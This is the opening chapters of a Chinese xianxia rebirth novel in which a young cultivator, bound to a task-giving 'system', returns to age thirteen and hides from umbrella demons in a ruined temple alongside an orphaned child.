《BE后宿敌为我殉情了》
1. 宿命
羡水城这几日阴雨连绵,乌云蔽日。
临近傍晚,城中渐渐弥漫起雾气,街上各家商铺小摊开始收拾关门,不论是大型酒楼还是小摊贩,大家收拾得很快,除了几家动作稍慢些,大部分人都已经收拾回家拉紧门闩,街上空荡荡的。
眼见城中人越来越少,岳寄欢走了好久才见到人,她赶忙喊住正要担着担子回家的米糕摊阿婆,朝对方手心塞了几枚铜币,低声问:“阿婆,最近怎的这么早就收摊?”
似乎是看出阿婆眼中的犹豫,她露出一个悲伤的表情:“好久没来羡水城了,我家中落败,我如今来城中寻我家表亲。”
米糕摊阿婆捏了捏手心的铜币,上下打量了岳寄欢几眼,面前的小姑娘看上去年龄也就十二三岁,着一身破旧但还算干净的深色布裙,面容姣好稚嫩,虽沾了些泥水,但总归看着不像什么魔修邪祟类类,确实像千里迢迢来寻亲的。
听岳寄欢这么说,她神色微微动容,叹了口气:“唉,城中这几日以来一到晚上便有妖魔作祟,弄的城中人心惶惶的。”
见岳寄欢脸上闪过几分讶然,她干枯的手指点了点暗沉的天:“小姑娘,你也看见了,现在正是三月时节,城中却阴雨不断,湿气一天比一天重,夜半总有人笑,城中消失好几家了,不是有邪祟还能是什么?”
阿婆摆了摆手:“赶紧去寻了你家亲躲着吧,城中不安定,这妖潜伏得久了就要吃人,别的我也不晓得。”
岳寄欢闻言还想问些什么,对方却已经挑着担子快步拐进了前方的小巷,头也不回,似是一刻也不愿意多留,她走的又快又急,眨眼间功夫就消失在岳寄欢眼里。
街上已经彻底没人了,周围是呼啸的风声,屋檐上落下的雨珠滴到脸颊上,岳寄欢抬头,淅淅沥沥的雨顺着瓦片滴到早已被雨水浸透的青石板砖,明明是春天,傍晚却依旧寒风刺骨。
她四处张望了一圈,街上雾气重,夜色浓得很快,犹豫几秒,岳寄欢快步往城南跑去。
记忆里,城南郊有座供了几尊上古时期仙门老祖宗神像的神庙,历经数年,庙中早已无人供奉,现在只剩了几间破落的瓦屋,勉强能遮风挡雨,足够她凑合一晚上。
想到自己现在的位置离南边不远,岳寄欢赶在夜色彻底暗下去前钻进了破庙。
羡水城地理位置极好,是坐落在寻仙山脚下的一座小城,因着山上是各大宗门,有仙门庇护,城中各家算得上富裕稳定,这样的冷夜应该不会有什么乞丐流民在庙里。
这庙勉强算得上安全。
岳寄欢稍稍回忆了一下上辈子,上辈子的她要比这辈子晚来到羡水城。
上一世,各宗门是去了数里外的人间上京城挑选合适的弟子,岳寄欢就是那时被收入凌云宗做了弟子,她仙骨资质尚优又是一个人,无牵无挂,是修炼的好苗子。
不过那时恰逢上京城举办瑶灯节,宗门一行人便在上京城多待了几日,刚好错过羡水城邪祟作乱一事,她也是后来进了宗门才听大师兄说起这件事,据说此事蹊跷,羡水城这种在诸多仙门脚下的小城居然会有邪祟敢在此作乱,而且还不知用了何种方法短暂地隔绝了山上仙门与羡水城的联系,各宗门也是过了两日才发觉此事,即刻就派了弟子下山除妖。
岳寄欢算着日子,今晚恰好是山上宗门要派人下来除妖的时候,各宗门都会来人,因此她现在虽无半分灵力,谨慎行事,应该不会有什么危险。
想到这几点,她稍微放宽了心。
岳寄欢三两下弯身躲进那几座高大但破落的神像后,有了神像遮风,她在地上拢了点不算很湿的枯草,又从衣兜里掏了个火石打火,打了半天火才燃起,四周烧成温暖的红色,她这才感觉身子恢复了一点暖意。
她缩着身子蹲在墙角,系统从衣袖中蹿出来,绕着她飞了两圈,贱兮兮道:“宿主,重生的感觉怎么样?”
岳寄欢搓搓手,睨了它一眼:“不怎么样。”
这么冷的天她身上就穿了件单薄的布裙,回到十三岁,她一无所有,岳寄欢还未开始筑基练气,甚至灵根也未开,手印法诀没了灵力灌输,她一点也使不出来。
想和系统换点东西吧,偏偏她上辈子任务还一直失败,一点积分没攒,还倒欠系统商城一万积分。
以后赚取的积分都得拿来还债。
这次重生岳寄欢没有等上京城宗门大选,而是一个人提前跑到羡水城,是因为天道系统下达了第一次任务。
【任务一:在未成为宗门弟子的条件下协助各宗门斩除羡水城邪祟,亲手拿到一颗伞妖丹(任务进度0/100%)
成功奖励:100积分,养颜丸×1
失败惩罚:扣除一百点积分,扣除二点生命值】
想到这儿,岳寄欢颇头痛地闭了闭眼,她上辈子很大程度上就是因为任务总是失败才死,也不知道天道系统一天到晚下达的都是什么弱智任务,又难奖励又低,她现在未成为宗门弟子没有法器灵力,靠什么协助别人斩妖除魔,脸吗?
莫不是天道自己的脸皮就够厚,误以为她也这样。
岳寄欢在心中默默翻了个白眼。
系统不知道岳寄欢心里想的什么,问她:“回到十三岁不应该高兴吗,宿主,懂不懂什么是年轻的感觉。”
岳寄欢正在气头上,冷哼一声:“年轻的感觉?把我搞死了就搞死了,说的那么清新脱俗。”
系统:“......”
严格意义上来说,岳寄欢真的是被系统搞死的。
千百年前她还是凌云宗玄意仙尊座下二弟子,妙龄十八青春靓丽,上有师兄师姐,独占师妹一职。岳寄欢从进入宗门开始便一路仙途坦荡,要灵石有灵石,要法器有法器,风光无限,日子过得要多舒坦有多舒坦。
如果不是她在飞仙大会上喝醉了。
系统急忙打住:“你别什么都怪酒。”
岳寄欢笑嘻嘻:“那怪你。”
系统气得在空中翻了两圈。
总之,可能是喝醉了,可能是她鬼迷心窍,岳寄欢只记得那晚上她听别人讲了一晚上故事后就迷迷糊糊睡着,等第二天醒来,系统这只有鼻子有眼的小光球就绕在面前飞。
系统义正言辞地告诉她:“少女,你已经知晓了这个世界的秘密。”
岳寄欢倒头就睡:“这个世界的秘密?你说的是大师兄偷拔师尊的灵草去做菜,还是三师姐偷看扶荔师兄沐浴...”
系统抽了抽嘴角:“都不是。”
它单刀直入:“这个世界是一本小说。”
“小说?”岳寄欢吸了吸鼻子,“话本子吗?”
系统肯定地嗯了声:“你们这个世界不也有很多这样的话本子吗,什么神仙仙子拯救苍生,霸道仙君爱上坚韧的我之类的。”
岳寄欢听它这么说来了兴趣,她支着脑袋问:“既然你说我生活的世界是话本,那我在话本里是什么角色?”
还没等系统说话,她又拨了拨头发:“按一般套路来说,我这么貌美有实力,就算不是什么拯救苍生的仙子,也能捞个女二当当吧。”
“毕竟拯救苍生也很累。”她朝系统扬起头,“当个有钱有权的女二也不错。”
系统额了半天,最后说:“不是。”
“不是什么?”
“不是女主,也不是女二。”
“女三?”
系统道:“你连炮灰都算不上吧,你被太监了。”
岳寄欢:“......?”
系统一脸沉痛:“狗作者记性不好,写了几章就把你这个人忘了,你没结局。”
岳寄欢愣了一瞬,随即撇撇嘴:“真没眼光,我这样有魅力的人都能忘。”
她看起来倒也不是很在意此事。
系统顺势接话:“不过没关系,虽然你没有做女主,但是你可以拯救苍生。”
岳寄欢很干脆:“不要。”
系统不理解:“为什么?”
岳寄欢从床上爬起来,她昨天晚上被新进门的师妹师弟们哄着灌了好些仙竹酒,仙竹酒味道清甜甘爽,就是后劲大,她不过多喝了几杯便醉得晕头转向,岳寄欢估摸着昨晚是灌她酒的几个师弟师妹送她回来的,把她撂在屋里就走了,醒酒汤也不喂她一杯。
岳寄欢头还有些晕,迈着步子往屋外走:“因为我懒。”
系统跟在她身后:“可这是你的任务。”
岳寄欢扫了它一眼,漫不经心地说:“任务?你说是就是?我不管你是什么东西,是不是谁派来的——”她顿了顿走出屋子,眯着眼朝向阳光,语气忽地严肃起来,“本人在这个世界上唯一的任务就是吃好喝好睡好,守好凌云宗。”
“至于拯救苍生什么的,你知道这是多大的责任吗?别随便给人扣高帽,这些于我而言都是放屁。”
系统沉默了片刻,它似乎是没想到岳寄欢这姑娘太过粗俗还是太过分懒,思考半晌,它坚持不懈:“我不是谁派来的,而且你拒绝也没用,我们两个已经绑死了,再说,你做任务是有奖励的。”
系统连哄带骗:“你看看你的手腕,我们已经绑定完毕,况且任务成功的奖励你不会拒绝的,我会帮你成为修仙界第一法修,万人之上。”
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“别把这件事情想象的很困难,你已经是我的宿主了,岳寄欢。”
听它这样说,岳寄欢扒开自己衣袖,手腕上蓦然出现一个小小的银色月季花纹样,花纹闪了几下,在日光下发出耀眼的光芒。
她试着搓了几下,没搓掉,又掐了个诀试图洗掉,月季花纹在她手上毫发无损。
岳寄欢脸色乍然沉下来,系统装眼瞎,趁热打铁:“再说了,我也不是故意和你绑定的。”
它眨巴眨巴眼睛卖萌:“昨晚我找了很多人,你是唯一一个愿意听我讲故事的,其他人一巴掌就把我扫走了。”
岳寄欢忍住了想翻白眼的冲动:“我喝醉了,你讲什么了我一无所知,你这是乘人之危。”
系统很不要脸:“反正你是唯一一个听我讲完的。”
岳寄欢不耐烦地瞥它一眼:“你讲了什么?”
系统倒也不恼:“就是这本小说的背景啊,喝酒误事,看来你忘的很干净嘛,我帮你回忆一下。”
话毕,一阵微弱的光以肉眼无法企及的速度直冲岳寄欢面门,她没能躲开,光束迅速扎进她的脑海,岳寄欢本来就痛的脑子更痛了,她低呼了一声,往后跌了几步勉强稳住身形。
剧情迅速占据岳寄欢脑海,一幅闪着微光的故事卷轴缓慢展开在她眼前。
这个世界是一本名为《我入魔后他后悔了》的小说,岳寄欢粗粗扫了一眼,这本书只给了个大概剧情,一点子细节没有,书中男主是岳寄欢的大师兄宋折镜,女主是隔壁宗门青鸾宫的小师妹洛心棠。
二人相识于修仙界三年一次的飞仙大会,宋折镜在大会上对洛心棠一见钟情,本想劝师父收下一个人参赛的洛心棠作为自己的师妹,然而,洛心棠被隔壁青鸾宫抢走了。
岳寄欢眯着眼,很轻地啧了声。
系统问:“怎么了?”
岳寄欢揉了揉太阳穴:“大师兄真没用,这能让洛心棠被青鸾宫的人抢走,再说,这姑娘天赋这么好,宗门其他人在干嘛?”
系统见她对这件事有兴趣,下意识问:“别忘了昨天飞仙大会你也在,你怎么不抢。”
岳寄欢应对自如:“我又不喜欢人家。”
系统又问:“那你不是说人家天赋好,这和你喜不喜欢人家没关系。”
岳寄欢面色不改:“其实吧,我凌云宗在抢师妹这一手上抢不过青鸾宫很正常。”
系统:“哦?”
岳寄欢恨恨道:“谁叫青鸾宫有那个姓谢的祸水,尽会哄骗小姑娘。”
系统:“......”
它停顿片刻没说话,岳寄欢只好接着往下读剧情。
宋洛二人虽然不在同一宗门,但两人因为宗门间来往频繁因而经常相处,渐渐的,洛心棠也喜欢上了宋折镜,并告诉他了一个秘密,她其实是穿越者。
岳寄欢疑惑地看了看系统。
系统回望她:“又怎么了?”
岳寄欢伸手比划了两下:“穿越者?洛心棠不是这个世界的人?”
系统应声,又催岳寄欢快点读。
在宋折镜知道洛心棠是穿越者后,修仙界突然爆发了一场动乱。
这场动乱里,玄意死了,这是宋折镜和洛心棠决裂的开始,也是促成洛心棠堕魔成妖的原因之一。
而玄意,对,就是岳寄欢和宋折镜的师父,玄意仙尊。
师尊死的莫名其妙,死的突如其来。
岳寄欢彻底停下不读了,她有些不可置信:“这话本不仅剧情无聊还写崩了吧,师尊怎么可能会死,我不信。”
玄意是修仙界近百年来最接近飞升的人,是整个修仙界战斗力max的大人物,一场动乱就给他写死,岳寄欢怎么看怎么不对劲。
“别不相信,洛心棠今天出现在飞仙大会上就是最好的证据。”系统语气活像搞传销:“宿主,这也是我们能绑定成功的原因,虽然你不是故事主角,但只有你才能修复这个世界,挽救这本剧情崩一塌糊涂的书,拯救你师父,不让他、或者任何人在这个世界里死的很狗血。”
岳寄欢嘴唇嗡动了两下:“你别开玩笑了。”
“我没有开玩笑,你一开始就被这个世界忘记了,你不受世界守则约束。”系统略带遗憾地说,“很可惜吧,我也找过其他人,但只有你和这本小说中的主角有着千丝万缕的联系,修复崩塌的世界什么的很适合你,也只适合你。”
“宿主,一切都是命运使然。”黄色光球轻快地在空中旋转,“这是你的宿命,能够拯救苍生的人即使谈不上是什么幸运儿,但也绝不会是倒霉蛋。”
2. 小孩
听到系统这样说,岳寄欢没有回答。
明明自己昨晚还是个只会吃酒玩乐的小弟子,怎么今天就变成要修复世界的修理工。
系统看出了她的顾虑:“我知道你很难接受这个事实...”
岳寄欢打断了系统:“其实吧,没什么不能接受的,我只想问问,虽然我们已经绑定了,但我拒绝完成任务会怎么样?”
系统见她接受能力良好,黄澄澄的脸绽开一个微笑:“会死。”
岳寄欢:“......”
“那任务失败呢?”
“会死。”
“我自爆,强行和你解绑呢?”
“我俩一起死。”
岳寄欢视死如归:“死球我和要你同归于尽。”她一脸决绝:“能死在师尊前面,也算是我这个徒弟尽孝了。”
系统:“......”你们这群搞修仙的还是先修修自己脑子吧。
它在空中停顿了片刻,还是道:“不说拯救苍生,且我死了可没什么,你要是死了你的师父和师兄弟怎么办?他们该有多伤心?这谈得上什么尽孝?简直是逆徒,逆徒!”
系统越讲越激动,它甚至给自己一种它才是岳寄欢师尊的错觉。
逆徒侧过脸:“别和我打感情牌。”
系统阴恻恻:“你死了,你师尊真的会死的,凌云宗也会灭的。”
宗门也会覆灭?
岳寄欢刚刚看剧情只看了一半,听系统这么说,她稳住心神,接着把所有剧情都读完了。
玄意死后,宋折镜开始对洛心棠疑神疑鬼,怀疑是洛心棠利用穿越者的身份扰乱了天道秩序,勾通妖魔邪祟,所以才造成这次动乱害死了玄意。
洛心棠得知后与宋折镜大吵一架气急攻心,自己一个人为明志直奔妖界老巢,洛心棠道心不稳,为了让宋折镜后悔,在妖王的帮助下堕魔成妖,和妖王男二假意深情,结果宋折镜得知后真的后悔了,从此二人就开始你追她逃天天上演我后悔了原谅我吧的狗血戏码。
而所谓的青鸾宫凌云宗之类的宗门,只是作为二人感情推动的工具罢了。
想灭就灭,宗门那么多,灭到二人修成正果为止。
岳寄欢看得瞠目结舌:“作者失心疯了吧,大师兄怎么可能是为了情爱而抛弃苍生背弃宗门的人。”
“这话本剧情狗血,无聊,烂,人设崩,剧情崩,要是放在书局卖,第二天作者就能被连书带人送到村口砍头。”她啧啧称奇,一通点评,“剥皮抽筋,我亲自来。”
系统循循善诱:“所以宿主,我们要重新改写这本小说,还你们所有人一个正常的结局。”
“任务很简单的,我已经说了很多遍了,宿主,别把这件事看得很困难。”
岳寄欢有气无力,像株干枯的野草:“那行吧。”
这就是这个悲惨又荒谬的故事开头。
起初,系统还只是下达一些简单的任务,比如帮哪位师兄弟解决一下棘手的妖魔邪祟啦,偶尔做做主线任务,岳寄欢负责扮演一个乖巧可爱的小师妹教宋折镜如何哄洛心棠开心,或者当一个知心大姐姐偷偷蹿到青鸾宫劝洛心棠别去危险的地方。
她有着成为一名合格戏精的自我修养,非常有职业道德。
这样看下来,岳寄欢周围的生活真的和书里大差不差,每每翻开故事卷轴,前面的剧情也在随她的修复而回到正轨,直到书中妖仙两界爆发的那次动乱的到来。
玄意还是死了。
这是任务第一次失败。
岳寄欢难以接受,在这次任务失败后,下一次任务和赶着投胎一样随之而来,打了她个猝不及防。
她也没能阻止洛心棠堕魔成妖,宋折镜心性大变,和书里写的一样,他失心疯般去和洛心棠玩爱情追逐的戏码,凌云宗很快覆灭,修仙界大乱,人间与修仙界来往密切,人间也随之爆发战争,岳寄欢别说完成任务,她自身难保。
最后,到了书中的结局,修仙界,妖界,人间三界交战的前一天晚上,系统通知她,宿主,任务一直失败,你的生命值即将耗尽,你今晚就会死。
岳寄欢杀完眼前的最后一只恶妖,平静地问,我能不能明天报完仇再死。
系统冷冰冰地回答她,不行。
于是岳寄欢真的死在三方交战的前一天晚上。
系统原本给她安排的是中毒,死的又快又不痛,但不知为何,岳寄欢那晚是死于暗杀,杀她的人似乎很恨她,修为远在她之上,那人强行封了她的七窍,生挖了她的灵根,最后将奄奄一息的她扔下封魂锁魄的魄雪山涧。
将岳寄欢丢下山涧前,那人将七窍封印解开,说:岳寄欢,我今天就拿你这条贱命去魄雪山涧里喂狗,这是你应得的。
岳寄欢一直因为这句话发誓一定要把对方找出来剁碎了当灵草肥料。
那时的系统劝慰道:“有人比我更想要你的命,宿主,冷静点。但很抱歉,我没有看到对方的脸,对方用了易容还遮了面,声音也变了,除了那人手上有一枚妖化后的暗纹,我一无所知。”
魄雪山涧极寒极冷,岳寄欢躺在地冻天寒里,肚子上破开一个黑漆漆的洞,身下是黑红的血泊,她说话断断续续:“废、废物系统,你,你给我...给我...滚。”
每说一个字,她就大口大口地往外吐血。
系统叹了口气:“我会陪你一起死的,宿主。”
岳寄欢不说话了。
系统还是那个小光球,它躲在岳寄欢破碎漏风的衣袖里,静静陪着她。
没人能身负重伤躺在魄雪山涧里活过一天。
岳寄欢就这么在山涧里很草率地死掉。
虽说魄雪山涧封魂锁魄,但岳寄欢是系统口中那个“不受世界秩序守则约束”的人。
她的魂魄无意识地离开了身体,在大战后生灵涂炭的人间一直飘荡。
飘着飘着,眼睛一睁一闭醒来,低头就见尚且年幼的自己,正是豆蔻年华。
所以这次重生,岳寄欢和系统都没搞明白是怎么回事。
系统也没有重生的权力,岳寄欢死后它就跟着消散了,等到再有意识,是躲在十三岁的岳寄欢衣袖里。
从袖口钻出来,系统和岳寄欢面面相觑,岳寄欢反应得快,抓着系统就要把它弄死,等发现自己抓不住,她又去找刀,想硬生生把自己手腕上那块带月季花纹的肉挖掉。
系统被她疯狗一样的举动吓得哇哇直叫,一边阻止她一边大喊救命。
但它喊着喊着就不喊了,系统告诉岳寄欢你别弄我了姐,任务刷新了,你欠商城的一万积分也还在,我要是死了你也别想活,这个世界谁都别想活。
岳寄欢沉默了。
一人一统干瞪眼了一晚上,系统动用了最高权限去和本世界的天道交涉,最后从天道支离破碎的话里拼凑出一点信息。
本世界念力很强,汇聚成的力量强到可以逆转时光。
大概是力量太强大,还是哪个环节出了差错,时光这一逆转就将岳寄欢送回了十三岁,离推动书中男女主修成正果的任务开始,还有整整五年。
系统告诉岳寄欢,本世所有任务推倒重来,而且这辈子他没有直接下达任务的权力,任务是本世界天道系统直接给的,它被收编了,以后只负责当一个可爱善良的中间商。
所以,岳寄欢所有要完成的指令都将听从天道安排,系统也不知道接下来剧情会怎么走,它只知道完成天道的每一次任务,都是在修正世界,给这个到处都是bug的世界打补丁。
这听起来比上一世还难,闭着眼睛摸黑,保不齐什么时候任务一直失败,岳寄欢两眼一闭又死了。
她气得抄起地上的石头就往天上砸,破口大骂:“狗屁天道!我死了就让我死!不是说这是我的命吗?谁想做什么狗屁任务!”
二月天晴,天上乍然劈下一道惊雷,直冲岳寄欢脚边,燎焦了她的衣角,她连忙往后缩了几步,这才没有被伤到。
中间商系统咳了几声:“宿主,既然重生了一切都是造化,先完成任务才要紧,世界不能再二次崩溃了。”
它顿了顿:“还有,你不想找到上一世把你弄死的人吗?”
似乎是刚刚那道惊雷来的太过急,似乎是想起上一世惨死的痛苦,岳寄欢捂着心口微微喘气,片刻过后,她垂着眼,向天道短暂地屈服了:“行。”
为了完成第一次任务,岳寄欢带着系统赶紧赶慢跑了一路来到羡水城,她现在还是十三岁的身体,一路上几乎都是靠脚力走过来,偶尔靠装惨借了路上牛车马车混着,停停走走了约莫十五日有余,走到羡水城就见这里迷雾遮天,刚好碰上任务进行。
透过庙里屋顶的缝隙,能看见羡水城的天彻底黑了,岳寄欢走了数日精疲力尽,现在好不容易在城中摸清了情况,又找到这个破庙点了火歇息,和系统拌完嘴她就昏昏欲睡,岳寄欢靠在冰凉的神像身后,头一点一点,很快要睡着的模样。
如果不是庙口一点很微弱的响声传到她耳中,她现在已经完全睡着了。
系统小心翼翼:“宿主,有东西。”
岳寄欢朝系统轻轻点头,她现在虽无灵力,但修炼多年刻在骨子里的反应速度还在。
岳寄欢快速伸手将面前那点火灭掉,动作比以前稍慢,但她还是立刻翻身滚进了枯草堆。
幸好这神庙虽然破落,却不缺些杂物枯草,现在庙中很黑,岳寄欢扒拉了一堆勉强遮住自己,刚刚起动静的东西不像任务要求的伞妖或别的邪祟,对方动静很轻很微弱,毛毛躁躁,甚至不像什么妖怪。
岳寄欢稳住心神,她咽了咽口水,尽力让自己躲的更深些。
她蜷缩在神像后,几座神像挨在一起,只能露出眼睛从狭小的缝隙中窥探外面的光景,庙里黑洞洞的,这两天羡水城连月亮也被乌云大半遮住,只有少许的光亮投射进庙宇中。
岳寄欢看了一会儿,发觉进入庙中的东西可能真不是妖怪。
倒像是个小孩。
月影绰绰,对方身形很矮很瘦,在微弱月光的照射下,影子像一只瘦长的鬼。
不过她还是没有轻
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举妄动。
防人之心不可无,何况最近的羡水城邪祟丛生,她现在手无寸铁,还没等宗门的人来,先遇到什么妖魔鬼怪,刚重生又得死个透心凉。
踌躇间,岳寄欢突然想起来别人看不到系统,也听不到系统和她对话,她把系统从怀里揪出来,手指了指庙口,示意系统去看看。
系统瑟瑟发抖:“我有点怕。”
岳寄欢微笑:“你一个非实体怕什么,快去。”
听出岳寄欢话中威胁的意味,系统抖了抖,还是缓慢地飞起来落到最前面的神像肩上,往庙口张望了一下。
系统很快就飞回来了。
它小声告诉岳寄欢:“还真是个小孩,身上没有一点妖力和灵力波动,不是妖魔幻化的,货真价实的小孩。”
系统才刚说完没几秒,岳寄欢就感到有一阵强烈的视线正盯着自己。
她顿感不妙,缓缓抬起头。
系统口中的小孩,此刻已经绕到了神像的背后,站到了岳寄欢对面。
空气中弥漫着一股诡异的气氛,安静得闻针可落,岳寄欢祈求对方没看到自己,结果那小孩开了口,声音又细又哑:“你是妖怪吗?”
岳寄欢没动,她在想对方是怎么知晓她躲在这里的,明明自己的动作很轻,如果不是修炼之人,根本不会察觉到神像后面藏着人。
小孩见她不说话,往前走了两步。
反正已经确认了是小孩儿,应该不会有什么危险。
岳寄欢胆子一贯很大,见对方要朝自己走来,她只是下意识往后退了几步,破罐子破摔,还是从一堆枯草中探出身子。
真打起来,她应该不至于连个孩子都打不过。
只听小孩又问她:“姐姐,你是妖怪吗?”
岳寄欢怔了几秒,莫名被对方逗笑了,自己都已经站起身显出身形,对方喊完姐姐还问她是不是妖怪。
见岳寄欢笑,系统弱弱道:“宿主,小心行事,这次重生世界改变了很多,时间线和人物会紊乱。”
岳寄欢闻言点头,随后看向站在她对面的小孩,听到对方这么问她,她忽地起了逗这孩子的心思:“如果我是妖怪又怎样?”
小孩眼眶有点红,明明声音很抖,却又努力让自己表现得很平静:“那就把我吃掉吧。”
岳寄欢蹙起眉,这孩子看上去年龄甚小,再怎么看都不超过十岁,头发又枯又长,整个人细胳膊细腿的,衣服挂在皮上,皮黏着肉,像一具会行走的骨架。
按理来说羡水城这种地方不应该有瘦弱成这样儿的小孩,这孩子眉目秀气,看着就是个小姑娘。
这个年纪的小姑娘正是被家中宠爱有加的时候,在羡水城,顶顶是家中长辈的掌上明珠。
她心中莫名生出点怜悯之心,想来对方年龄如此小还瘦成这样,怕是三界交界处小城逃灾来的孩子,误打误撞跑来了羡水城,钻到了她藏身的破庙。
岳寄欢轻声问:“那你家中长辈呢?”
她本是想问这孩子家中长辈是否是带着她来逃灾的,如果需要帮助或者和家人走散了,她看看能不能帮忙,不料刚说完,小孩哽咽了:“死了,被妖怪吃了。”
岳寄欢呼吸一窒。
这样的世道,妖魔邪祟在边陲小城和三界交处吃人其实是很正常的事情,岳寄欢上辈子杀的恶妖多,没少听说这种事情。
可这时候一个可怜狼狈的小孩站到她面前和她说出我家人被吃了这样的话,岳寄欢还是有些难以接受。
不过为了安全起见,对方又出现的很突然,岳寄欢还是直截了当地问她:“你是怎么发现我在这里的?”
虽然这样问很蠢,但这是最直接的方法。
她眼眸眯了眯:“还是说你...”
小孩很聪明,看出她的怀疑,小声说:“我从前在家中习武,反应快些,你火灭的晚了。”
岳寄欢哑然,她刚刚动作确实慢了些,没想到被这小孩看得一清二楚。
她心想这孩子天资看上去还不错,灵敏又细致,虽是女孩儿,但又从小习武,长大后学个剑什么的说不定还有一番造诣,当一个英姿飒爽的女剑修在修仙界是件很不错的事情。
对于岳寄欢自己来说,她御剑之术习的一般般,法术结印什么的倒是学的很好,上辈子在修仙界年轻一辈法修中她是习得最好的那一个,至于剑修习得最好,那自然是——
想到那人,还有她魂魄消散前看见的,那人的举动...岳寄欢莫名感觉心中烦躁。
正在她思索之际,霎时间,神庙外突然传来一声凄厉的惨叫。
听声音离庙中不远,听着像个女人的声音,又尖又细,在深邃的夜晚显得格外可怖。
岳寄欢扭头,通过缝隙向庙外看去。外面又传来小孩和男人模糊的叫喊声,声音离神庙愈发近,外面哭喊声连片,还夹杂着女人的尖笑。
哭喊声若隐若现,迷蒙不清。
直到邪祟身上那股令人作呕的气息几乎要充斥岳寄欢鼻腔时,她也终于听清了外面的喊声是“救命!”
3. 两只蠢妖
岳寄欢这回反应很快。
她几乎是反应过来的瞬间就起身揽住面露惊恐的小孩,这孩子虽然看着比同龄人沉着冷静些,可毕竟是个幼童,还刚失去家中亲人不久。
瞥了眼被她翻得杂乱的枯草堆,岳寄欢上下打量了一圈神庙内部,她之所以今晚来神庙躲着,就是想着这神庙里的老祖宗能发挥点庇护的作用,没想到自己居然这么倒霉,刚躲进来邪祟就在外面作乱。
岳寄欢听着庙外尖厉求饶的叫声,突然有些迟疑不决。
她知晓刚刚邪祟杀了无辜的人,对她来说除魔卫道这四个字深入骨髓,可现在自己有心无力,能和这小孩活着都是件颇为棘手的事情。
生死有命。
空气中那股恶心的味道越来越浓,当务之急,岳寄欢只好继续四处扫视整个庙,整个庙里除了杂草就是几座神像,男女都有。
打量间,缩在她怀里发抖的小孩突然扯了扯她的衣袖,手指着一个方向:“这里。”
她顺着小孩手指的方向看去,自己刚刚躲藏的草堆夹杂在神像与后墙壁中间。此刻,那堆一团乱的杂草堆后赫然露出一个狭小的洞,这洞刚好被庙门缝隙中的月光照到,勉强能看出个轮廓,洞边是几块摇摇欲坠的砖石,一掰就掉。
系统很惊喜:“宿主,这小孩还真有用,你快去扒开那个洞,检测到了,是条暗道。”
岳寄欢也不磨叽,扑上去边扒边问:“通往哪里?”
系统:“不知道,但是有出口,而且暗道快塌了,随时可以破墙逃跑,非常方便。”
听着还有点赞叹的意思。
岳寄欢:“......你真是有用但不完全有用。”
她不再搭理系统,而是快速把边上掩盖着的砖石通通扒开,小孩也蹲在旁边扒,洞口很松,两人扒的很快。
岳寄欢一缩就钻进了洞内,她朝还蹲在洞口的小孩招手:“快进来。”
小孩吞吞吐吐:“我...”
岳寄欢见她磨磨蹭蹭,懒得听废话,她伸手一把将小孩扯进洞中,这洞虽然不大,但胜在岳寄欢和这孩子身形瘦小,塞下两个人勉勉强强。
岳寄欢扒拉了好些枯草堪堪将洞遮住,鼻息间属于邪祟的味道越来越浓重,她不敢磨蹭,遮好洞口就带着小孩往洞里爬,小孩这时倒是乖乖的跟在她身后了,不磨叽也不闹。
岳寄欢想自己还是有些好运的。
她们二人带一统刚往洞里爬了没几步路,庙门口就传来重物拖拽的声音。
系统趴在岳寄欢肩上,示意她先别爬,这次入庙的是真的妖,妖的感知能力很强,万一被发现就完蛋了。
岳寄欢侧身紧紧抱着小孩缩在黑暗的洞里,靠着墙,她指了指自己的嘴巴,让小孩千万别说话。
时间一分一秒的流逝,鼻息间涌入一股浓郁的血腥味,外面传来窸窸窣窣的说话声,声音不大,隐约能听见“有人”、“心脏”之类的字眼。
系统警铃大作:“伞妖。”
岳寄欢紧张起来:“你是说现在在庙里的妖怪是伞妖?”
系统有些磕巴:“嗯,伞妖感知最敏锐,自身却最无情,被逮到会被它用纸伞穿心的,还会被扒皮。”
它急忙忙补了一句:“宿主,完成任务固然重要,但完成任务的前提是保住性命。”
岳寄欢:“......”真是废物系统讲废话。
不过她神色还是有些僵硬。
岳寄欢上辈子还偏偏就没遇过伞妖这种妖怪,只在一些妖怪名录里翻到,当时听大师兄宋折镜和她讲羡水城一事时,宋折镜只说:“面对伞妖这种恶妖,千万不要感情用事,暴力解决最好,不论男女,伞妖无心,封住它的感知后杀掉便无事,不过是种平常的小妖罢了,倒也无需害怕。”
封住感知?
是不是扰乱对方的感知也可以?
岳寄欢想着待会儿如果被发现要如何应对,但身子却不敢动一点,最好还是别被发现。
今时不同往日,要是放在以前,她杀个这种类型的恶妖还真是顺便的事。
外面的说话声停歇片刻,又讲起来,听着像一男一女,愈讲声音愈发大。
岳寄欢听得心惊胆战,她这会儿只希望宗门的人来得快些,不管谁来也好,哪个宗门来的也罢,能把整个羡水城和她救出去再说。
她现在脑袋一团乱麻,外面却彻底安静下来。
岳寄欢的神经绷成一根弦,不敢松懈半分,她静静等待着,怀中如幼猫一般的小孩也屏住了呼吸,揪着她衣领不放。
又过了一会儿,外面终于响起女人的娇笑,那女人嗓音婉转柔顺,细声细气:“哎呦,说起来今个儿这庙中还躲藏了两只小兔子,不乖得很,扶音,你我二人来玩个游戏怎样?”
被称作扶音的伞妖是个男子,声音清凌凌的,温柔道:“好,什么游戏?”
岳寄欢听到两人的对话就知晓自己定是被发现了。
庙中开始响起脚步声,由远到近,还有清脆的铃声作陪,如果不是在这样的环境下,岳寄欢甚至觉得这响铃音甚是动听,可现在,她只觉得是催命符。
女妖笑道:“我们来玩——”
铃铛声摇晃得愈发急,女妖的声音愈发魅惑。
岳寄欢抱着小孩,捂着嘴不敢出声。
她一只手搂着小孩,一只手抚上身后的墙壁,和系统说的一样,砖石很松很脆,还带着点被雨水浸透的潮湿感,格外松软。
她又抬头瞄到圆拱状的石头顶,可以隐约看见有微弱的月光流进石缝,岳寄欢心中一喜,这暗道盖的很浅,估计是挖了地下的一半,露出地面的暗道顶用了泥巴和弄的砖石来封,上面盖了些花花草草之类的东西掩盖,直通庙外,城南郊没什么人来,不易被人发现。
她有了打算,那女妖的声音却已如雨水般将她浑身淋个湿透,泛着幽光的双眼出现在洞口掩埋的枯草缝隙中。
“抓、兔、子。”
“轰——”
话音刚落,岳寄欢就薅着小孩用力向侧墙撞去,墙壁如她所想松软的不成样子,她也用了十足的力气,墙壁轰然倒塌。
